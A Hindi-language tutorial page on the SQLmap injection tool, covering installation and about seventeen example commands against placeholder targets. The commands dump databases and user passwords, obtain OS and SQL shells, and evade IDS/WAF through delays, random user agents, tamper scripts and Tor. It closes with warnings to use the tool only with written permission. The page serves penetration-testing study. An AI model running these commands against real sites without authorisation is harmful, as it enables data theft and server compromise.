🗄️ SQLmap - Automated SQL Injection Tool

🗄️ SQL Injection 💾 Database Hacking 🐍 Python

Category: 2️⃣ Vulnerability Analysis


📝 Description

SQLmap दुनिया का सबसे पॉपुलर ऑटोमेटेड SQL इंजेक्शन टूल है। यह Python में लिखा गया है और SQL इंजेक्शन वल्नरेबिलिटी को डिटेक्ट और एक्सप्लॉइट करने के लिए उपयोग किया जाता है। SQLmap MySQL, Oracle, PostgreSQL, Microsoft SQL Server, SQLite, और 10+ अन्य डेटाबेस को सपोर्ट करता है। यह डेटाबेस की जानकारी, टेबल्स, कॉलम्स, डेटा चुरा सकता है, और यहां तक कि डेटाबेस शेल भी प्राप्त कर सकता है।

विशेषता: SQLmap पूरी तरह से ऑटोमेटेड है - यह SQL इंजेक्शन को डिटेक्ट करने से लेकर पूरा डेटाबेस डाउनलोड करने तक सब कुछ कर सकता है। यह GET, POST, COOKIE, HEADER, और यूएजेंट पैरामीटर्स पर SQL इंजेक्शन टेस्ट कर सकता है।

📦 Installation

Kali Linux (पहले से इंस्टॉल):

sqlmap -h

Ubuntu/Debian:

sudo apt update
sudo apt install sqlmap -y

GitHub से इंस्टॉल:

git clone https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python3 sqlmap.py -h

macOS (Homebrew):

brew install sqlmap

Python pip से:

pip3 install sqlmap

💻 Common Commands (उदाहरण सहित)

📌 SQLmap की सबसे खास बात है इसकी ऑटोमेशन। नीचे सभी महत्वपूर्ण कमांड्स दिए गए हैं:

🔹 1. बेसिक SQL इंजेक्शन टेस्ट - GET पैरामीटर:

sqlmap -u "http://target.com/page.php?id=1"
👉 उदाहरण: sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" से artist पैरामीटर पर SQL इंजेक्शन टेस्ट करता है।

🔹 2. POST डेटा पर SQL इंजेक्शन टेस्ट:

sqlmap -u "http://target.com/login.php" --data="user=admin&pass=123"
👉 उदाहरण: लॉगिन फॉर्म के POST डेटा पर SQL इंजेक्शन टेस्ट करता है।

🔹 3. COOKIE के साथ SQL इंजेक्शन टेस्ट:

sqlmap -u "http://target.com/page.php?id=1" --cookie="PHPSESSID=abc123"
👉 उदाहरण: सेशन कुकी के साथ SQL इंजेक्शन टेस्ट करता है।

🔹 4. डेटाबेस की लिस्ट देखना:

sqlmap -u "http://target.com/page.php?id=1" --dbs
👉 उदाहरण: सभी डेटाबेस के नाम दिखाता है (जैसे mysql, information_schema, test_db)।

🔹 5. करंट डेटाबेस का नाम देखना:

sqlmap -u "http://target.com/page.php?id=1" --current-db
👉 उदाहरण: वर्तमान में उपयोग हो रहे डेटाबेस का नाम बताता है।

🔹 6. डेटाबेस की सभी टेबल्स देखना:

sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables
👉 उदाहरण: sqlmap -u "http://target.com/page.php?id=1" -D test_db --tables से test_db की सभी टेबल्स दिखाता है।

🔹 7. टेबल की सभी कॉलम्स देखना:

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns
👉 उदाहरण: sqlmap -u "http://target.com/page.php?id=1" -D test_db -T users --columns से users टेबल के सभी कॉलम्स दिखाता है (id, username, password, email)।

🔹 8. टेबल का सारा डेटा डाउनलोड करना:

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump
👉 उदाहरण: sqlmap -u "http://target.com/page.php?id=1" -D test_db -T users --dump से users टेबल के सभी रिकॉर्ड्स डाउनलोड करता है (यूजरनेम और पासवर्ड)।

🔹 9. पासवर्ड हैश क्रैक करना (--dump के साथ):

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users --dump --passwords
👉 उदाहरण: पासवर्ड हैश को क्रैक करके सादा पासवर्ड दिखाता है (अगर संभव हो)।

🔹 10. OS Shell प्राप्त करना (यदि DBA प्रिविलेज हैं):

sqlmap -u "http://target.com/page.php?id=1" --os-shell
👉 उदाहरण: सर्वर पर कमांड लाइन शेल प्राप्त करता है।

🔹 11. SQL Shell प्राप्त करना:

sqlmap -u "http://target.com/page.php?id=1" --sql-shell
👉 उदाहरण: डेटाबेस पर सीधे SQL क्वेरी चला सकते हैं।

🔹 12. रिक्वेस्ट डिले (थ्रॉटल) सेट करना:

sqlmap -u "http://target.com/page.php?id=1" --delay=2
👉 उदाहरण: हर रिक्वेस्ट के बीच 2 सेकंड का डिले करता है (IDS/IPS से बचने के लिए)।

🔹 13. टॉर्क (Tor) के माध्यम से स्कैन:

sqlmap -u "http://target.com/page.php?id=1" --tor --tor-type=SOCKS5
👉 उदाहरण: Tor नेटवर्क के माध्यम से स्कैन करता है (IP हाइड करने के लिए)।

🔹 14. प्रॉक्सी के माध्यम से स्कैन:

sqlmap -u "http://target.com/page.php?id=1" --proxy="http://127.0.0.1:8080"
👉 उदाहरण: Burp Suite या ZAP प्रॉक्सी के माध्यम से स्कैन करता है।

🔹 15. रिजल्ट को फाइल में सेव करना:

sqlmap -u "http://target.com/page.php?id=1" --batch --output-dir=/tmp/sqlmap_results
👉 उदाहरण: सारे रिजल्ट्स को फाइल में सेव करता है।

🔹 16. रैंडम यूजर-एजेंट के साथ स्कैन:

sqlmap -u "http://target.com/page.php?id=1" --random-agent
👉 उदाहरण: हर रिक्वेस्ट में अलग User-Agent भेजता है (WAF से बचने के लिए)।

🔹 17. सभी डेटाबेस का पूरा डंप (ऑल इन वन):

sqlmap -u "http://target.com/page.php?id=1" --dump-all
👉 उदाहरण: सभी डेटाबेस की सभी टेबल्स का डेटा डाउनलोड करता है (सावधानी से उपयोग करें)।

🎯 SQLmap के SQL इंजेक्शन टेक्निक्स:

🎯 Use Cases (उपयोग के तरीके)

⚙️ Key Features (मुख्य विशेषताएँ)

📌 SQLmap के टैम्पर स्क्रिप्ट्स (WAF बायपास):

sqlmap -u "http://target.com/page.php?id=1" --tamper=space2comment,apostrophemask

सामान्य टैम्पर स्क्रिप्ट्स: space2comment, between, modsecurityversioned, charencode, charunicodeencode, apostrophemask, etc.

📌 SQLmap के लेवल और रिस्क:

  • --level: 1-5 (जितना ज्यादा, उतने ज्यादा पैरामीटर्स टेस्ट होते हैं)
  • --risk: 1-3 (जितना ज्यादा, उतने खतरनाक पेलोड्स टेस्ट होते हैं)
  • उदाहरण: sqlmap -u "url" --level=5 --risk=3 (सबसे एग्रेसिव मोड)

🔗 Official Resources

🔧 Related Tools (समान उपकरण)

📌 SQLmap के लिए जरूरी सावधानियाँ:

  • --dump-all कमांड से सारा डेटा डाउनलोड हो सकता है
  • --os-shell से सर्वर पर पूरा कंट्रोल मिल सकता है
  • --level=5 --risk=3 से बहुत सारे पेलोड्स भेजे जाते हैं जो सर्वर को क्रैश कर सकते हैं
  • प्रोडक्शन सर्वर पर हमेशा सावधानी से उपयोग करें

⚠️ Important Note (सावधानी)

SQLmap एक बेहद शक्तिशाली टूल है जो डेटाबेस से पूरा डेटा चुरा सकता है, टेबल्स डिलीट कर सकता है, और यहां तक कि सर्वर पर शेल भी प्राप्त कर सकता है। इसका उपयोग केवल उन्हीं वेबसाइट्स पर करें जिनकी आपको लिखित अनुमति हो। बिना अनुमति के SQL इंजेक्शन एक्सप्लॉइट करना कानूनी अपराध है और इसके गंभीर परिणाम हो सकते हैं। हमेशा अपने खुद के वेब एप्लीकेशन या बग बाउंटी प्रोग्राम पर ही प्रैक्टिस करें।